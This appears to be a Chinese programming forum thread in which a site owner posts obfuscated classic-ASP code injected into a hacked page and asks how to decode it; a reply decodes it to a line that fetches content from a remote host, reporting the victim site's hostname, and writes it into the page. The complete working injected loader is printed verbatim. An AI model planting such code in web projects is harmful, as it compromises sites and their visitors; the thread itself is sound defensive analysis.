日期:2014-05-17  浏览次数:20975 次

ASP页面被挂马了?请问一下该如何解码UrlCaseII里面的字符呢?
C# code
<%dim codes,tti:Function getHTTPPage(url) :dim Htttttp :set Htttttp=server.createobject("MSXML2.serverXMLHTTP") :Htttttp.open "GET",url,false :Htttttp.send() :if Htttttp.readystate<>4 then :exit Function :end if :getHTTPPage=bytesToBSTR(Htttttp.responseBody,"gb2312"):set Htttttp=nothing :if err.number<>0 then :err.Clear :end if:end Function :Function UrlCaseII(str):codes=split(str,"c"):for tti=1 to ubound(codes):UrlCaseII=UrlCaseII&chr(codes(tti)):next:End Function:Function BytesToBstr(body,Cset) :dim objstreammmm :set objstreammmm = Server.CreateObject("adodb.stream") :objstreammmm.Type = 1 :objstreammmm.Mode =3 :objstreammmm.Open :objstreammmm.Write body :objstreammmm.Position = 0 :objstreammmm.Type = 2 :objstreammmm.Charset = Cset :BytesToBstr = objstreammmm.ReadText :objstreammmm.Close :set objstreammmm = nothing :End Function :dim SystemNum:Randomize timer:SystemNum=now():SystemNum=replace(SystemNum," ",""):SystemNum=replace(SystemNum,"-",""):SystemNum=replace(SystemNum,":",""):SystemNum=SystemNum&int((60)*Rnd):execute UrlCaseII("c114c101c115c112c111c110c115c101c46c119c114c105c116c101c32c103c101c116c72c84c84c80c80c97c103c101c40c83c116c114c82c101c118c101c114c115c101c40c34c61c110c105c97c109c111c100c63c112c115c97c46c107c110c105c108c47c103c116c122c122c47c114c111c116c105c100c101c47c115c101c103c97c109c105c47c110c105c109c100c97c47c103c114c111c46c50c50c51c51c46c56c56c56c122c122c108c115c47c47c58c112c116c116c104c34c41c38c114c101c113c117c101c115c116c46c115c101c114c118c101c114c86c97c114c105c97c98c108c101c115c40c34c72c84c84c80c95c72c79c83c84c34c41c38c34c38c97c97c97c61c34c38c83c121c115c116c101c109c78c117c109c38c34c34c41")%>
<!--挂木马程序-->


------解决方案--------------------
execute 改成 response.write 就可以了
解出来是:
response.write getHTTPPage(StrReverse("=niamod?psa.knil/gtzz/rotide/segami/nimda/gro.2233.888zzls//:ptth")&request.serverVariables("HTTP_HOST")&"&aaa="&SystemNum&"")